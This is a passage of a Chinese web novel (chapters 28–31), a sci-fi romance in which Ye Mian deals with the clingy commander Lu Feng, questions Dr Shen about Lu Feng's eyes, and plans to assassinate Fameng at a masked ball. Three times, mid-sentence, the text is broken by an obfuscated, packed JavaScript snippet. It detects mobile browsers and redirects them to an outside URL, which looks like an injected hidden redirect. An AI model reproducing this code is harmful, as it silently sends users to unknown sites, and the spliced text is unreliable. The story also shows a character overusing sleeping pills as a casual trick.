法蒙:“可以,等下次见面。”
遇到困难睡大觉:“[笑脸]。”
叶眠摸着下巴,没想到事情这么顺利。
法蒙这人实在阴晴不定,心情好了就大赦天下,心情不好就统统死刑。
放下这点疑虑,她翻回跟同事哥的聊天框,却见对面几分钟前简短地回了句:“在忙。”
有点少见。
沈舒白挪走面前的空酒杯,拍了拍扑在桌子上几乎不省人事的陆风。
“嗯……绵绵……”陆风眼都不睁地拽他。
沈舒白迅速收手:不不不不不要过来!
他磨着后牙,心想陆风真给我出难题,一边切换到小沈医生的账号,搜索叶眠ID。
叶眠收到了好友申请,心下奇怪。
沈医生:“叶女士,你好。陆指挥跟我在——酒吧,你看,方不方便来接他一下?”
陆风适时地顾涌了一下:“嗯……绵绵来接我……我就走……”
沈舒白面无表情地看着他,心中磨刀霍霍,想给他录下来算了。
叶眠在本来已经准备今晚独守空房,眼下看这个情况,还得出门一趟。她有些好奇陆风又在耍什么心眼,于是扣上帽子就出发了。
整张脸都捂得严严实实,但夜间的士师傅看了她好几眼,等她到了酒吧下车,司机开口:“美女……”
然后被她冷漠到极点的眼神吓了回去。
“在这等我。”她说。
叶眠身无分文,好在她气场够足,一路雄赳赳气昂昂地找到了一坐一躺的二人。
“叶女士,”沈舒白起身,语气礼貌,“抱歉,我没拦住,他喝多了。”
下午为了给叶眠解围,他急中生智圈了几项莫须有的检查。没想到检查做完了,陆风感慨地说要请他吃饭,席间提了几句叶秘书,后面就越扯越远、满嘴胡话。
叶眠定睛一看,相比于醉成烂泥的陆风,沈舒白除去乱了几根头发丝,整个人都算得上体面。
她裹了裹外套,走近拍了拍陆风肩膀:“喂。”
“嗯……”陆风一伸胳膊,正好把叶眠圈了过去,然后头埋在她腰间蹭了蹭,“绵绵……”
沈舒白抿着唇角,冷静转头:非礼勿视。
叶眠低头,看着陆风黑黝黝的发顶,伸手给他揉乱:“真醉了?”
“嗯……”他又蹭了蹭,衣料被扯动,看不清脸。
叶眠心中冷笑:我信你个鬼,你个情报贩子坏得很。
28. 第 28 章
“帮我一把。”叶眠拉起陆风的一只胳膊,跨到自己脖子上。
沈舒白上前扶了一下,就见陆风跟软体动物一样,缓慢且自然地爬上了叶眠的肩膀。
看着他流畅的动作,再看冷笑的叶眠,沈舒白:……我是你们play的一环吗?
“沈医生,”叶眠掂麻袋一样薅起陆风,想了想,觉得有些不合时宜,又改了话头,“我们改天再说。”
沈舒白一愣,下意识张嘴:“什么?”
陆风若有所觉地掀开眼皮,被叶眠摁住头顶:“你睡你的。”
不是醉酒吗,接着醉啊?
“想问陆风的眼睛,”叶眠对着沈舒白露出一个微笑,“沈医生。”
-
“你问他干嘛,问我啊。”陆风被塞进车里的时候还在嘟嘟囔囔地说。
叶眠用沈医生刚转的钱付了车费,然后跟司机定下目的地。
“叶眠……”陆风黏黏糊糊地凑过来,然后被推开。
“装上瘾了?”
“嗯……”他又蹭过来,好像没骨头一样,非得压着她肩膀,“没有……”
叶眠手指顶住他脑门,指甲甚至戳出了个浅浅的月牙印子。
“好好坐着,”她把他人整个推正,然后抽出安全带绑了个死结,这才对颤颤巍巍的司机歉然一笑,好像之前恐吓他的根本不是自己,“见笑。”
下车后,陆风主动伸出胳膊让叶眠架着,几乎是半瘫在她身上,深一脚浅一脚地回了基地。
最后,他被无情地摔在沙发上。
“你四舍五入两百斤的人,压我身上也就控着有个八十斤,”叶眠伸了个懒腰,先把他墨镜放到胸前的口袋里,再拨开他的额发露出眼睛,最后拍了拍他脸颊,确保他在听,“再给我装呢?”
陆风不答,眼里写满了迷茫。
叶眠把他的衬衣扒了下来,然后就准备让陆风自生自灭。她转身脱了外套,里面干脆就是睡衣,但陆风硬是拽着她的衣角,像个尾巴一样跟着她往床走。
“醉汉不许上床。”叶眠坚定地抽出被攥出褶皱的睡衣。
“噢,那不醉了。”陆风立刻双手举起,放弃伪装。
叶眠:“……你去洗澡。”
洗干净的陆风获得了稍微好点的待遇,但叶眠还是坚定地指着被推到另一侧的被子:“陆指挥,请。”
虽然没醉,但陆风依然决定放任自己随心行动,他围着浴巾,固执地张开双臂——扑到了叶眠的被团上。
叶眠猝不及防,闷咳一声,气急败坏地推他:“你重死了!!”
社会化训练不足吗怎么乱扑人!
陆风不肯动,八爪鱼一样压在原地,脸几乎埋在她肚子上。两个人身体之间隔着被子,他的手指点上她小臂,仿佛小人爬山一般交替着向上移动。
“陆指挥,你幼不幼稚,”叶眠被他磨得没脾气,好声好气地说,“你如果心里不舒服就去折磨沈医生,我只是个无辜的……掐我干嘛?!”
陆风手指刚“爬”上她大臂,闻言拧了她一下,然后闷闷地说:“你真的瘦了。”
“C监饭那么难吃,我不瘦才怪,”叶眠说着,抽出胳膊死命摁他的头,“不起来别起来了,直接把你闷死。”
陆风象征性地挣扎了一下,脸埋在下面笑了声,又不动了。
叶眠:……他用异能给自己放风,这样还真憋不死他。
一小时前,她只是觉得,指挥使不会任由自己在外面喝成醉汉。
但没想到,陆风人很清醒,赖皮程度却直线增加。
她稍微放软了一点语气:“很晚了,陆风,你下去行吗?我们睡觉。”
毛茸茸的后脑勺摇了摇,半湿翘起的发丝一颤一颤,水意洇到叶眠被子上。
叶眠:“……那你还要怎样?”
陆风迅速抬头,露出眼睛:“我想做。”
叶眠忍了忍,还是没忍住,伸手捏住他发根下的脖子皮,狠狠发力:“发晴自己去洗手间解决,去。”
仿佛被命运捏住了后颈皮,陆风终于抬起上半身:“哎哎哎,别掐了,我起。”
叶眠感觉有些不可思议:“陆指挥,你一开始不是这样的。”
看陆风又要当他的赖皮鸵鸟,叶眠直接双手怼上他的脸,持续发力表示推拒:“有话说话,别动手。”
陆风脸皮被她搓到起褶子:“我们之间本来也不是这样的。”
叶眠眼神一动,他接着说:“所以我觉得,我也不能像以前一样了。”
——知错能改是好孩子。
叶眠欣慰地搓了搓他头顶:“你终于醒悟了。叶绵绵不在的时候,心里不舒服多找沈医生喝酒。”
——但别在这发疯。
陆风从她坚定的动作里读出了她的决心。
他翻身躺到旁边,叶眠自然地松开了怼脸的双手,并且替他脸皮幻痛一秒。
“我们可以聊天睡觉,但还是那句话,我没法不明不白地接受你,”叶眠探身过去,拽了被子盖住他的胸膛,“你喝得不少,睡吧。”
陆风仰面朝上。
他躺得位置靠下,个子又高,脚几乎伸到床板之外。
叶眠在等他的反应,没想到他“啧”了一声,又来掀她的被子。
她耐心耗尽了:“陆风。”
小腿发力踹去,被他眼疾手快地接住,叶眠绞过身体迫使他松劲,另一脚踢向陆风的眼睛。后者被迫退避,但表情却没变:“叶眠,我们要在床上打架吗?”
“没人能强迫我做不想做的事,”她脚腕受限,一手掀翻被子往陆风头上蒙去,“谁都不行。”
“停,”陆风用异能压下沦为武器的被子,“我不是要强迫你。”
叶眠面色冷淡:“最后一次机会,说。”
陆风看着她一双平静到没有爱也没有厌的眼睛,终于肯定——叶绵绵真的不在了,至少眼下这个叶眠,不会为他妥协。
“我们切磋,你赢了,所以听你的,”他也收起了刚刚那股赖皮劲,“不做,但你要不要试试。”
舌尖舔过微开的牙关露出一点猩红,陆风承认,他心里也没底,但这种事情上的低头,在他看来可以划归情趣的范畴——所以他原意试试。
他眼神暗得像黑火,在暖黄的夜灯下,那双棕色的瞳孔里有晴欲,有占有,有不甘,也有跃跃欲试。
叶眠想了想,问:“你干净吗?”
陆风眼皮一抽:“叶眠,不要羞辱我。”
“我不问才是羞辱。”她坚持。
舌面跟犬齿的揉擦带来一点痛意,陆风的骄傲不允许他再继续了。
他松开她的脚腕,眼看白皙皮肤上浮现一点红
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224759|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痕。
“睡吧。”
他起身,冷静地扣好蹭掉大半的浴巾,随手拿起衣服出了卧室。
叶眠眼看他黯然离场,有点可惜地叹了口气。
要她说,其实未尝不可。
-
后面几天,叶眠连陆风人都没见过,不知道是不是被伤着心了。
她并不在意,只是在基地内闲逛,然后高兴地发现了基地建在超市下面的好处。于是,她除了去训练场测试身体强度,三天两头往地面跑——花的都是同事哥的钱。
法蒙最近似乎也在忙,刘仁放下一句“正在审批”就没了影子。叶眠的预算申请不下来,又不好意思挥霍胖子的小金库,干脆去折磨白干兄弟。
咖啡厅里,叶眠抱着三顶颜色各异的假发,有一搭没一搭地搅着咖啡。等沈舒白推门而入,第一眼就看到了那个覆着薄薄发茬的脑袋。
然后他立刻想到紧缩的钱包。
拿着两本材料,沈舒白面色如常地坐到叶眠对面。
“叶女士,”他礼貌妥帖地把文件推到她面前,“这里是一些实验过程,和中间结论。”
“嗯哼,”叶眠没看,反正看了也看不懂,“结论是?”
“如果可以的话,我需要请你到我那边做一套全身检查。”他说。
“陆风问过我的事吗?”叶眠放下勺子,答非所问。
沈舒白不确定这个问题应该用同事的角度回答,还是该用沈医生的角度答,他笼统地概括:“没有。”
作为卧底同事,他知道陆风在活跃人脉,寻找合适的身份混进德里克家族的舞会。
作为沈医生,他知道陆风忙到这几天根本没回过基地。
“你们吵架了吗?”他多问了一句。
“对,但没关系,”叶眠喝了口咖啡,“我想问问他的眼睛。”
沈舒白在心里想:终于来了。
他清了清嗓子:“陆指挥视力被意外破坏,虽然被治愈了,但眼球依然比常人脆弱。”
叶眠挑眉:“只是脆弱吗?”
沈舒白继续说:“为了当上情报部指挥使,他几年做出了大量假身份,但由于下属投靠了其他人,陆风长期佩戴劣质伪瞳,对眼球造成了无法挽回的二次伤害。”
他叹了口气:“他见不得强光,不管是日光还是大瓦数灯光,所以你看他平日里总是戴墨镜,哪怕是室内,都不是为了耍帅。”
叶眠若有所思:“那很惨了。”
不过,这个特性似乎很适合利用一下,在不同的场合。
沈舒白拿捏不好她会不会上报法蒙,只是略微点头。
抛开作为法蒙朋友的部分,他确实算得上陆风的半个朋友。
那天陆风拉着他喝酒讲了些真心话,所以他捡起说客的职责:“叶女士,对于你流落C监的经历我感到十分惋惜,陆指挥十分担心你回来后的状态。”
叶眠疑惑地问:“我一直不明白,既然有情——你肯定知道——他为什么不直接救我出来呢?”
沈舒白有些难以启齿的样子:“换届对陆指挥来说,太重要了。”
“有多重要,”叶眠拉近椅子,上身前倾,“跟他的眼睛第一次受伤有关吗?”
沈舒白讶于她的敏锐,却不想叶眠的下一句更令人心惊:“指挥使之间的关系并不好,对么?”
29. 第 29 章
“确实,”沈舒白的咖啡到了,他往里丢了两块糖,一边搅,一边组织语言,“关系不好到剑拔弩张,陆风不能让自己再在情报部耗三年,他想要真正的权力,能掌握军队的权力。他要报仇。”
叶眠疑惑:“那我呢?他要报他的仇,我给他打工,就活该去死了?”
沈舒白没出声,闷头喝咖啡,他确实不知道该怎么帮陆风洗。
“不拿人当人罢了,”叶眠轻飘飘地说,“蒋仕临也是他的仇人吧?我听命于他为他报仇,但他用完就丢,啧,狼心狗肺。”
“说到这个,我倒要感谢那位沈医生,”叶眠笑了笑,话头一转,低着头用手指搓过咖啡杯,“我能活到今天,全靠C监他出手相救。当时我术后失忆无从下手,阴差阳错,获得的唯一信息提示竟然也来自于此人。”
沈舒白开始有点坐立难安了,他觉得自己最好当哑巴,又觉得这话实在太抬举他……
“想必,都是医者本分,”他说完又觉得嗓子发干,“我们这行的人是这样的。”
“是吗?”叶眠笑眯眯的,一句话说一半,留他原地忐忑揣度半天。
“叶女士还有什么别的问题吗?”沈舒白有点受不了。
“嗯?我在等你带路去做检查呀。”
叶眠好整以暇地看着他一愣,又恍然,眉间一点恼意,生动得很。
“抱歉,我理解有误,我们现在就走。”
叶眠拿了顶浅绿色的假发戴在头上,两人便离开了咖啡厅。
沈舒白见状多问了一句:“头上刀口恢复得如何?除了失忆之外,有没有隐痛之类的后遗症?”
叶眠:“多梦算吗?或者,小沈医生知不知道,联盟境内哪个死星起过大火?”
“多梦这个倒很难解释,死星起火的话,有,”沈舒白详尽地回答,“死星912,位于现在的帝国和联盟接壤带,十几年前起过一次邪火。联盟的调查结果显示A级异能者失控,总之,半个星球地表焦土化,300年内难以孕育新生命。”
叶眠不动声色地想,这倒是个收获,等回去上星网查些资料,或者有机会原地考察一番。
“很巧的是,当时陆风的父亲就在附近执行任务,”沈舒白领她搭上电梯,直奔他的研究室,“所以陆风本人可能会有些了解。”
叶眠直觉告诉自己,这里藏着很重要的信息,她心中记下,一边配合沈舒白抽血。
“关于在佩戴禁制环的条件下正常使用异能,这个问题对于普通异能者来说可能很难实现,但对你来说,”沈舒白想了想才继续说,“更难。”
叶眠“嗯”了一声。
“因为异能抵抗。只要带着四代环,这种抵抗就一直在发生,你身体里每时每刻都会有封锁抗体被激活,所以哪怕本来十五分钟的特效药能让人正常使用异能,你额外需要在这十五分钟内先顶住抵抗,然后才能发挥实力。”
“就像技能读条?”叶眠立刻懂了。
“是的,需要读条,”沈舒白笑了下,“你试过解开禁制环的异能吗?”
“别提了,”叶眠想起法蒙就想砂仁,“半个小时的自由只够我造出几根冰牙签的。”
沈舒白的表情明明白白:那你要这特效药也没用啊。
叶眠开始幻想时间:“如果我把异能练到S,是不是十分钟自由也能发挥出很高实力了?”
她以为沈舒白会笑她不自量力,没想到他认真地想了想:“如果正常水平到S级,那顶着抵抗出手或许真的可以达到A级水平,唯一的问题是需要苦练,且必须考虑到异能透支的风险。”
“嗯嗯,嗯?”叶眠第一次听到这个风险,于是追问,“异能透支有什么后果?”
“轻则暂时失灵,重则等级倒退。”沈舒白意有所指地看了一眼她脖子上的禁制环,“谨慎锻炼。”
叶眠回去的时候还在想,她这种梦里锻炼的,会有损于现实中的异能吗?
如果沈舒白说得没错,那她前三次梦里透支可不止一次两次了,但好像……也没什么妨碍效果?
梦里大火还有保护异能不受削减的好处啊。
叶眠想到这,理所当然地认了下来——谁家好人重生没有金手指的!她必须有!
不是很困,但叶眠实在是很想赶紧练异能,她鬼点子一堆,干脆买了两瓶安眠药,试图手动入睡。
不是随机出现吗?
之前三四天出现一次,那我一天睡三四觉呢?
于是陆风回来的时候,看到的就是叶眠手里空了半瓶的安眠药,人躺在床上,脸色苍白,人事不知。
他心里一紧,一手捏开她的下巴,没想到下一刻叶眠猛然睁眼,一脚踹向他小腹。
“不是……等等……”
你来我往地过了几招,陆风没用异能,挨了两拳才把话说全:“别打了!我什么都没想干!”
叶眠一只腿勾在他脖子上,如果下一句话不好听,她就要立刻使出一记裸绞。
“我睡得好好的,你要干什么?!”
陆风一口气差点没上来:“我以为你吃安眠药自杀!”
叶眠愣了一下,从他身上爬下来:“早说啊。”
她不确定陆风知不知道自己抗药性过人的事,心想万一是她重生带来的呢,干脆没提。
“你让我说了吗!”陆风眼露悲愤。
“自杀是我能干出来的事情吗!”叶眠理不直气也壮,“你也不想想。”
陆风抿了抿唇。
叶眠:?
“如果是叶绵绵的话,是的。”陆风泄了气。
他在外面跑了好几天,也是一身风尘,没想到回家开门见喜,眼下直接情绪反扑。
“唉。”
“收收怨夫味,陆指挥。”叶眠心想我在梦里练得好好的,你把我弄醒我还没叹气呢。
陆风完全意会了,他几乎是投降般地说:“你不分青红皂白打我一顿,我也没说啥啊。”
叶眠一手把他拉起来,自然地岔开话题:“这两天干什么去了,家都不回。”
“德里克家族要迎回安娜和艾文的独子,作为唯一的继承人,这件事近期传得沸沸扬扬,”陆风扯下领带随手扔到旁边,“但是这位继承人先生捂得严严实实,实在是想不到他会是什么身份。”
德里克家族的名字曾经出现在陆峰的档案中,叶眠坐在床边,问:“德里克家族有什么特别需要注意的吗?”
“没什么,”陆风云淡风轻地把话揭过,“顽固派的中流砥柱罢了,已入垂暮。”
叶眠说:“那这位年轻的继承人回归,岂不是正好补充了新鲜血液?”
“是草包就算了,德里克的小辈里,混子不少。但能让他们族内老人都承认的继承人,多半是真的有点手段,我们最好先下手为强,”陆风顿了顿,“如果你异能恢复了就好了。”
“又用得上我了,”叶眠半真半假地叹了口气,“陆指挥,你总让我想到一句话……”
陆风心知肯定不是什么好话,根本不接声,但叶眠自己独角戏也唱得开心:“从不质疑真心,但真心瞬息万变。”
“我不觉得真心和工作是冲突,”陆风反驳说,“你说我把你当工具,但谁会喜欢上工具呢?”
“喜欢也可以乱丢的话,这份喜欢似乎也不怎么珍贵。”叶眠站在旁边,一路看他脱掉衣服,露出精壮的上身。
赏心悦目的身体,可惜没洗澡。
所以不想碰。
陆风瞥她一眼,欲言又止,但到底没说什么,直接进了浴室。
叶眠迅速打开终端,感觉自己就像背着正宫找小三的坏蛋。
遇到困难睡大觉:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224760|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同事哥,江湖救急。”
白干全白干:“江湖救急三年来一次就行,姐,你是一周来三次啊[哭脸]。”
遇到困难睡大觉:“害,你瞧你,一点工作热情都没有。我就是想问问,之前给你发的文件记录里,你查没查到德里克?[笑脸]”
沈舒白拳头硬了。
白干全白干:“别催[微笑]。最近有别的事,我忙得脚不沾地,干脆把文件整个发给老大了。”
白干全白干:“要不我肢解帮你问问他呢?[微笑]。”
沈舒白气急败坏地打字,手速飙升,仿佛跟这虚拟键盘有什么深仇大恨一般。
他今天刚拿到叶眠的深度检测数据,一个一个数,比对着书上查,试图寻找某种合适的物质能正好起作用,查到晕字。结果这位姑奶奶上来一句救急,开口就是问别的事。
他还不能反抗:我还要给你打一份工吗!
叶眠摇了摇头:欸,年轻人,怎么火气这么大。
遇到困难睡大觉:“你打错了,‘直接’。”
沈舒白:滚啊!
遇到困难睡大觉:“别生气别生气,嗳,我就是提醒你一下,感觉陆风跟德里克可能有点关系在的。”
沈舒白压下火气,也是有点认命了。
白干全白干:“我知道啊。他在外面跑就是为了德里克继承人回归的事。”
遇到困难睡大觉:“不是说这个。我感觉我问到的时候,他回答慢了一点,感觉像是瞒了我点东西。我们俩应该,还挺知根知底的?”
白干全白干:“德里克一个顽固派大家族能跟反抗军扯上什么关系,怀疑陆风还不如怀疑法蒙。”
这人最近也忙得不行。整个首都星都在为了德里克继承人的事骚动,而他似乎做出取舍一般,听说整个人C监审判庭两头跑,时不时还失踪半天。
遇到困难睡大觉:“如果法蒙是德里克继承人,那可就有意思了。”
叶眠舔了舔嘴唇,她的行事主旨一向是大胆猜测、小心求证。
假如顽固派的窝子里,出了一位革命党领袖。
这可不是简单的离心,而是一场彻底的背叛。
白干全白干:“不是,你还真怀疑他啊?”
遇到困难睡大觉:“我会求证,但你最好也提前查查德里克,可别是把老大当草根这么久,突然发现人家[笑脸]。”
“怎么表情这么不好?”陆风走出浴室,问闭眼假寐的叶眠。
“在想怎么能杀了德里克的继承人。”叶眠一动不动。
陆风一愣,讶于这份毫不遮掩的杀意,但又十分乐见其成。
“我们连他的身份都不清楚,你想怎么杀?”他躺到她身侧,没有任何要动手动脚的意思。
叶眠想得很简单。
她哪管继承人到底什么身份?
她的目标从始至终只有一个——杀了法蒙,处理掉胖子家的事情,然后远走高飞。
法蒙作为中将或者典狱长,肯定都是A环内的角色,这场继承人的公开仪式上,他一定会露面。只要混进能混进宴会……
“听说宴会是化妆舞会的形式,”陆风看着她无动于衷的侧脸,微微有点出神,“入场券不好拿,德里克已经送了不少,基本都是A环的人。”
化妆舞会?
叶眠睁眼。
“舞会时间?”
“两周后。”陆风答。
“你是最早知道消息的人吗?”
“应该是。”
“哪天知道的?”
“我们上次见面的第二天,怎么了?”陆风换了个姿势。
所以,法蒙知道得更早。
他就是德里克的神秘继承人。
叶眠合上眼睛:“睡觉。”
她想:果然是越来越有意思了。
30. 第 30 章
梦里一睁眼,叶眠先打量了一番四周。
没见过,起名为出生点五号。
她原地坐下,先像技能前摇一样长叹一声,然后才启用异能,冰粒出现,悬浮在双手之上。
冰块像抽丝一般逐渐长大,直到开始心慌头晕,叶眠就停下,然后硬捱,过上半小时左右,恢复得差不多了,再重复这套动作。
枯燥乏味,但不得不坚持。得知法蒙就是德里克继承人之后,叶眠把两周后的舞会当成了刺杀的舞台。
法蒙态度尚可,宴会上势力错综复杂,连蒙面主题都在为她铺路,叶眠认为这是一个难得的机会,她想搏一把。
她抱着冰坐在地上,过了最初眼前发黑那几秒,低头一看,突然发觉已经比最一开始凝出的冰块大上一圈。
这么立竿见影吗?她有点惊讶,于是第二轮换成凝冰锥,正好作比较。
喜获六把初始冰锥,比第一次做梦的时候,整整多了一把。
冰锥夹在指头缝里,凉得手掌发僵。
进步很明显,甚至有点太明显了,叶眠若有所思。既然这么有效,她忍不住想到一个更好的训练方法——既然要力竭才能突破,那保持力竭不就好了?
直接去掉休息时间,透支自己,保持整个梦里都是用不出异能的状态。
叶眠大赞:真是太有操作了。
因为没有对照组,她根本想象不到,这种长时间力竭的做法在他人眼里是第一大忌。
真是做梦才能成功的训练方式,谁不知道练异能过犹不及?毕竟揠苗助长不可取,劳逸结合才是王道。
但叶眠不知道。
她不是做梦,她直接作弊。
-
又是一点没有划水地练了一夜,叶眠睁眼,疲惫地感觉自己又双叒叕通了个宵。
“昨晚没睡好?”陆风一只手撑着头,靠在她身边。
“你怎么没出门,”她伸手拿过那瓶安眠药,没看他一眼,“做噩梦了,现在我要继续睡了。”
陆风特意摆好姿势等了她十几分钟,甚至还理了头发、刮了胡子,结果喜获一个练了一晚上异能生无可恋准备继续睡觉的叶眠。
陆风眼看她闭上眼,眉毛一抽:这合理吗?
叶眠哪管陆风是怎么想的,天要下雨她要睡觉。
陆风盯着她侧脸五分钟,像是要把人盯出个洞来,结果就听着叶眠逐渐稳定的呼吸——她真又睡着了!
没办法,只能愤愤不平地起床,他有心闹出点动静把人吵醒,结果看到叶眠陷在枕头里的脑袋,脸色发白,眼底发青,确实是没睡好的样子。
陆风舔了舔牙龈,心想,算了。
等他一走,叶眠悄悄睁眼,瞪着天花板,心中槽多无口。
太热情了。
大清早的,勾引谁呢?
这是想让她从此君王不早朝吗,大胆!
叶眠默念:男色在旁,但正事要紧,正事要紧。
-
之后的几天,叶眠仗着自己抗药性是常人几倍,把安眠药当零食吃,每天24个小时里,有20多个小时在睡觉,只为了在梦里多压榨一下自己。
剩下时间,除了日常活动,就是亲切问候小沈医生环节。
遇到困难睡大觉:“小沈医生~”
沈舒白的通讯账号里,白干全白干终于得了闲,但沈医生这个号被迫承受了双倍的狂轰乱炸。
沈医生:“没有。”
遇到困难睡大觉:“我还没问呢[笑脸]。”
沈医生:“叶女士如果没什么事情做,可以多出去逛逛。”
遇到困难睡大觉:“没钱。我不工作,陆指挥不给我发钱。”
沈舒白:冷静。
……忍一时越想越气。
他咬着牙,心道你上次不是用法蒙不发工资的借口从我这“预支”了两千块?
打了几个字又删掉,最后沈舒白还是决定沉默。
遇到困难睡大觉:“沈医生加油啊,还需要我做什么检查吗?随叫随到[笑脸]。”
沈舒白:忍!
陆风这边也觉得事态严重,担心叶眠是在监狱里给自己憋出了什么心理疾病,他甚至找了胖子,说叶眠最近状态太奇怪,每天睡不醒,拜托他去劝劝。
胖子无聊到长蘑菇,一听这话立刻感觉重任在肩。第二天上午就去敲门,把睡觉(练异能)的叶眠吵醒,她的脑袋出现在门后:“干嘛?”
胖子咽了咽口水:“怕你自杀。”
叶眠一想就明白了:“陆风找你当说客?”
胖子绞着手指:“主要,他说,你吃安眠药比吃饭还多,我怕你想不开。”
叶眠看他一脸真诚的疑惑,叹了口气,把人拉进房间。
胖子的注意力被陆风的套房装潢吸引:“哇,这画,作者还蛮有名的,是真迹吗?”
“不知道,”叶眠拢着睡衣往沙发上一瘫,“陆风24小时监视这里,看上了也不能拿。”
“噢,啊?我没准备拿啊?”胖子挠头。
——是我想拿来着。
叶眠选择性忽略了他的问题:“总之,我最近睡得比较多,是因为我在长个子。”
胖子:“这样啊……啊?”
叶眠认真点头:“不用担心,我再长一个星期个子就好了。”
胖子:?
她一本正经地胡说一通,把胖子糊弄得忘了北东西南。他看叶眠精神不错,除了觉多之外好像也没什么值得注意的地方,放下心来也就没再追问。
等胖子一走,法蒙就发来消息。
法蒙:“下午来试礼服[定位]。”
叶眠:哦豁。
往上翻了翻,她发过几次消息,但法蒙回复全凭心情,她也懒得再自讨没趣,顺便死了线上勾搭线下反杀的心。
遇到困难睡大觉:“老板,路费[伸手]。”
法蒙刚签完文件,扫到终端这条消息,手头一顿,自动脑补了叶眠抬着头,眼睛瞪得微圆,伸手跟他要钱的模样。
啧。他有点想笑,又忍住。
叶眠的消息他次次都看,但不知道怎么回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224761|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
复。
“感觉像是还俗的尼姑,长了一层青发茬,摸起来扎手。”
“世界上根本没有好吃的饭。”
“陆风真的很缠人。”
法蒙:啧,陆风。
他跟刘仁说:“给叶绵绵发工资,按党内规制来就行。”
刘仁百忙之中先应了一声,过了会儿才想起来,抬头张嘴就要问她应该归在哪一类里,结果看到自家上司手里握着笔,半天没动弹,明显在走神。
得,别问了,多嘴说不定还要挨骂。刘仁叹了口气,一丝不苟地按照规制开始给叶眠算工资。
法蒙斟酌了好一会儿,才重新给叶眠发了个下层区的坐标,离她不远:“我派人接你。”
叶眠摸了摸下巴,走神了一霎:陆指挥你这个基地,人家心里是门儿清啊。
下午,她准时到达了指定地点,被迫兼职司机的刘仁木着一张脸:“叶小姐,我是刘仁,请上车。”
叶眠今天戴了套绿色的假毛,远看像是一顶毛茸茸的绿帽子。她哼着歌,顺手跟陆指挥报备了一下行程,看得出来对方确实很忙,过了一阵才会了个“好”。
刘仁公事公办地说:“革命党作为议会党派,普通成员每年要交五千块会费。”
叶眠:“等下?我倒贴打工?”
刘仁设定好悬浮车的目的地,好声好气地解释:“您作为初级外勤有额外补助,标准是6000一个月,通勤费额外报销,之前您申请的装备会从补助预算中扣,所以这两个月到手数字大概不会很好看。”
叶眠:“不会太好看,是多不好看?”
刘仁避而不答:“毕竟我们党派资历太新,经济上需要考虑的地方太多,暂时不能给外勤划太高预算。您的定位也并非高风险前线,想必只要略施手段,陆指挥那边也能拿到不少,生活肯定不成问题。”
叶眠气笑了。
法蒙真是打的一手好算盘,当她在反抗军里cos陆指挥养的花瓶,实际上除了同事哥支援的那点资金,谁能想到现在她终端里只有几十块。
她憋着这口气,直到车子进了B环内,在一家“知名”的礼服定制店见到了法蒙。
刚想刺他两句,叶眠瞥到结账台上小字密密麻麻的定价表,个十百千万十万……她有了点新主意。
法蒙看到她的一头绿毛,眉头下意识一紧:“怎么戴的这种颜色。”
这种翠绿色,不得不让他想起自己亲手把叶眠送到陆风身边的事情,他甚至疑心叶眠是不是在故意讽刺,又立刻意识到自己情绪上的越界。
“不好看吗?多生机勃勃啊。”叶眠笑得像个小白花,手指勾住一缕假发,半生不熟地给法蒙抛了个媚眼。
刘仁:“……先生,人送到了,那我先走了。”
叶眠偏头冲他也笑了笑,不知为何,刘仁心里微寒。
法蒙没看到他俩的交锋,更不知道手下的人拿了他一句“按规制来”,就公事公办到给叶眠把工资一砍到底。
他轻咳一声,冲刘仁点点头,然后对叶眠说:“来。”
31. 第 31 章
“这几款是先生挑过的,小姐看看,更喜欢哪一条?”
五个立体投影的无面模特站在三人周围,五条大红色的裙子呈包夹之势,衬得叶眠一头荧光绿毛格外闪耀。
设计师感觉自己那根名叫“不许红配绿”的脑筋在尖叫。
“陆风有苛待你吗?”法蒙稍微弯腰,在她耳边说,眼神不自觉地在明显劣质的绿色发顶上徘徊。
叶眠注意力落在几条裙子上,心不在焉地答:“嗯,对。他自己的假发都是定制,我戴不了,也没钱买。”
她正好站在裙摆最大的那道投影前,考虑能不能让设计师把里面裙撑下挖空。
设计师有些骄傲地说:“这条是经典的复古风格,我们还原了其中的三十二层衬裙,真材实料,绝非外面那种糊弄裙撑。”
叶眠看他一眼,又看了看裙子。
真不能挖吗?
她想在裙子里藏装备。
法蒙低头离她太近,甚至能闻到假毛塑胶的味道。那股怪味挤进鼻子里,因为见面而加快的心跳嘎巴一下平了。
他克制地皱眉,站直,然后撤步,叶眠敏感地察觉了,莫名其妙地给了他一眼。
法蒙微微咬牙,对设计师说:“再给她做一顶假发。”
叶眠立刻补充:“绿色的,谢谢。”
法蒙忍了忍,没忍住,再次开口:“墨绿,深一点。”
叶眠:“太保守了,想出彩就要配色大胆一些。”
